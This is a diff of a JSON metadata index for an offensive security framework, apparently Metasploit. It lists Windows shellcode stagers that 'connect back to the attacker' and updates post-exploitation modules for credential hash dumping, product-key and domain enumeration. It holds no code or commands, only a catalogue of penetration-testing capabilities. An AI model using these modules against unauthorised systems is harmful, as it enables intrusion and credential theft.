"path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_named_pipe": {
"name": "Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/windows/custom/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"OJ Reeves"
],
"description": "Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_nonx_tcp": {
"name": "Windows shellcode stage, Reverse TCP Stager (No NX or Win7)",
"fullname": "payload/windows/custom/reverse_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"vlad902 <vlad902@gmail.com>"
],
"description": "Custom shellcode stage. Connect back to the attacker (No NX)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_ord_tcp": {
"name": "Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)",
"fullname": "payload/windows/custom/reverse_ord_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"spoonm <spoonm@no$email.com>"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_ord_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp": {
"name": "Windows shellcode stage, Reverse TCP Stager",
"fullname": "payload/windows/custom/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp_allports": {
"name": "Windows shellcode stage, Reverse All-Port TCP Stager",
"fullname": "payload/windows/custom/reverse_tcp_allports",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Try to connect back to the attacker, on all possible ports (1-65535, slowly)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp_allports",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp_dns": {
"name": "Windows shellcode stage, Reverse TCP Stager (DNS)",
"fullname": "payload/windows/custom/reverse_tcp_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"RageLtMan"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp_dns",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp_rc4": {
"name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/custom/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp_rc4_dns": {
"name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)",
"fullname": "payload/windows/custom/reverse_tcp_rc4_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp_rc4_dns",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp_uuid": {
"name": "Windows shellcode stage, Reverse TCP Stager with UUID Support",
"fullname": "payload/windows/custom/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Connect back to the attacker with UUID Support",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_udp": {
"name": "Windows shellcode stage, Reverse UDP Stager with UUID Support",
"fullname": "payload/windows/custom/reverse_udp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"RageLtMan <rageltman@sempervictus>"
],
"description": "Custom shellcode stage. Connect back to the attacker with UUID Support",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_udp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_udp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_winhttp": {
"name": "Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)",
"fullname": "payload/windows/custom/reverse_winhttp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows winhttp)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_winhttp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_winhttp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_winhttps": {
"name": "Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)",
"fullname": "payload/windows/custom/reverse_winhttps",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTPS (Windows winhttp)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_winhttps.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_winhttps",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/dllinject/bind_hidden_ipknock_tcp": {
"name": "Reflective DLL Injection, Hidden Bind Ipknock TCP Stager",
"fullname": "payload/windows/dllinject/bind_hidden_ipknock_tcp",
@@ -195955,6 +199867,511 @@
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_ipv6_tcp": {
"name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager",
"fullname": "payload/windows/x64/custom/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Listen for an IPv6 connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_ipv6_tcp_uuid": {
"name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support",
"fullname": "payload/windows/x64/custom/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_named_pipe": {
"name": "Windows shellcode stage, Windows x64 Bind Named Pipe Stager",
"fullname": "payload/windows/x64/custom/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"UserExistsError"
],
"description": "Custom shellcode stage. Listen for a pipe connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_tcp": {
"name": "Windows shellcode stage, Windows x64 Bind TCP Stager",
"fullname": "payload/windows/x64/custom/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Listen for a connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_tcp_rc4": {
"name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/x64/custom/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_tcp_uuid": {
"name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/windows/x64/custom/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_http": {
"name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
"fullname": "payload/windows/x64/custom/reverse_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"OJ Reeves"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_https": {
"name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
"fullname": "payload/windows/x64/custom/reverse_https",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"agix",
"rwincey"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_named_pipe": {
"name": "Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/windows/x64/custom/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"OJ Reeves"
],
"description": "Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_tcp": {
"name": "Windows shellcode stage, Windows x64 Reverse TCP Stager",
"fullname": "payload/windows/x64/custom/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Connect back to the attacker (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_tcp_rc4": {
"name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/x64/custom/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_tcp_uuid": {
"name": "Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/windows/x64/custom/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_winhttp": {
"name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)",
"fullname": "payload/windows/x64/custom/reverse_winhttp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"OJ Reeves"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_winhttp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_winhttps": {
"name": "Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)",
"fullname": "payload/windows/x64/custom/reverse_winhttps",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"OJ Reeves"
],
"description": "Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_winhttps",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/encrypted_shell/reverse_tcp": {
"name": "Windows Command Shell, Encrypted Reverse TCP Stager",
"fullname": "payload/windows/x64/encrypted_shell/reverse_tcp",
@@ -200008,7 +204425,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-02-15 14:35:38 +0000",
"mod_time": "2022-09-01 14:56:28 +0000",
"path": "/modules/post/linux/gather/enum_system.rb",
"is_install_path": true,
"ref_name": "linux/gather/enum_system",
@@ -201230,17 +205647,17 @@
"Carlos Perez <carlos_perez@darkoperator.com>",
"egypt <egypt@metasploit.com>"
],
"description": "This module prints out the operating system environment variables",
"description": "This module prints out the operating system environment variables.",
"references": [
],
"platform": "Linux,Windows",
"platform": "Linux,Unix,Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-01 13:37:15 +0000",
"path": "/modules/post/multi/gather/env.rb",
"is_install_path": true,
"ref_name": "multi/gather/env",
@@ -201248,8 +205665,18 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"powershell",
"shell",
"meterpreter"
],
@@ -203226,7 +207653,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-11-04 05:28:32 +0000",
"mod_time": "2022-05-24 08:44:37 +0000",
"path": "/modules/post/multi/recon/sudo_commands.rb",
"is_install_path": true,
"ref_name": "multi/recon/sudo_commands",
@@ -205607,7 +210034,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-20 12:16:26 +0000",
"path": "/modules/post/windows/gather/credentials/domain_hashdump.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/domain_hashdump",
@@ -208791,7 +213218,7 @@
"author": [
"averagesecurityguy <stephen@averagesecurityguy.info>"
],
"description": "This module will check the file system and registry for particular artifacts. The\n list of artifacts is read from data/post/enum_artifacts_list.txt or a user specified file. Any\n matches are written to the loot.",
"description": "This module will check the file system and registry for particular artifacts.\n\n The list of artifacts is read in YAML format from data/post/enum_artifacts_list.txt\n or a user specified file. Any matches are written to the loot.",
"references": [
],
@@ -208801,7 +213228,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-08-07 16:01:45 +0000",
"path": "/modules/post/windows/gather/enum_artifacts.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_artifacts",
@@ -208809,8 +213236,19 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"shell",
"powershell",
"meterpreter"
],
"needs_cleanup": null
@@ -209142,7 +213580,7 @@
"author": [
"Joshua Abraham <jabra@rapid7.com>"
],
"description": "This module identifies the primary domain via the registry. The registry value used is:\n HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\DCName.",
"description": "This module identifies the primary Active Directory domain name\n and domain controller.",
"references": [
],
@@ -209152,7 +213590,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-09-08 13:35:22 +0000",
"path": "/modules/post/windows/gather/enum_domain.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_domain",
@@ -209160,9 +213598,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"shell",
"powershell"
],
"needs_cleanup": null
},
@@ -209225,7 +213674,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-20 12:16:26 +0000",
"path": "/modules/post/windows/gather/enum_domain_tokens.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_domain_tokens",
@@ -209515,7 +213964,7 @@
"author": [
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "This module will enumerate current and recently logged on Windows users",
"description": "This module will enumerate current and recently logged on Windows users.",
"references": [
],
@@ -209525,7 +213974,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-08-08 01:50:36 +0000",
"path": "/modules/post/windows/gather/enum_logged_on_users.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_logged_on_users",
@@ -209533,8 +213982,19 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"powershell",
"shell",
"meterpreter"
],
"needs_cleanup": null
@@ -209551,7 +214011,7 @@
"author": [
"Brandon Perry <bperry.volatile@gmail.com>"
],
"description": "This module will enumerate the OS license key",
"description": "This module will enumerate Microsoft product license keys.",
"references": [
],
@@ -209561,7 +214021,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-24 16:06:55 +0000",
"mod_time": "2022-08-21 16:00:27 +0000",
"path": "/modules/post/windows/gather/enum_ms_product_keys.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_ms_product_keys",
@@ -209569,9 +214029,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
},
@@ -209685,7 +214156,7 @@
"needs_cleanup": null
},
"post_windows/gather/enum_powershell_env": {
"name": "Windows Gather Powershell Environment Setting Enumeration",
"name": "Windows Gather PowerShell Environment Setting Enumeration",
"fullname": "post/windows/gather/enum_powershell_env",
"aliases": [
@@ -209696,9 +214167,10 @@
"author": [
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "This module will enumerate Microsoft Powershell settings",
"description": "This module will enumerate Microsoft PowerShell settings.",
"references": [
"URL-https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies",
"URL-https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles"
],
"platform": "Windows",
"arch": "",
@@ -209706,7 +214178,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-01 00:56:21 +0000",
"path": "/modules/post/windows/gather/enum_powershell_env.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_powershell_env",
@@ -209714,9 +214186,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"shell",
"powershell"
],
"needs_cleanup": null
},
@@ -209841,7 +214324,7 @@
"Keith Faber",
"Kx499"
],
"description": "This module will query the system for services and display name and\n configuration info for each returned service. It allows you to\n optionally search the credentials, path, or start type for a string\n and only return the results that match. These query operations are\n cumulative and if no query strings are specified, it just returns all\n services. NOTE: If the script hangs, windows firewall is most likely\n on and you did not migrate to a safe process (explorer.exe for\n example).",
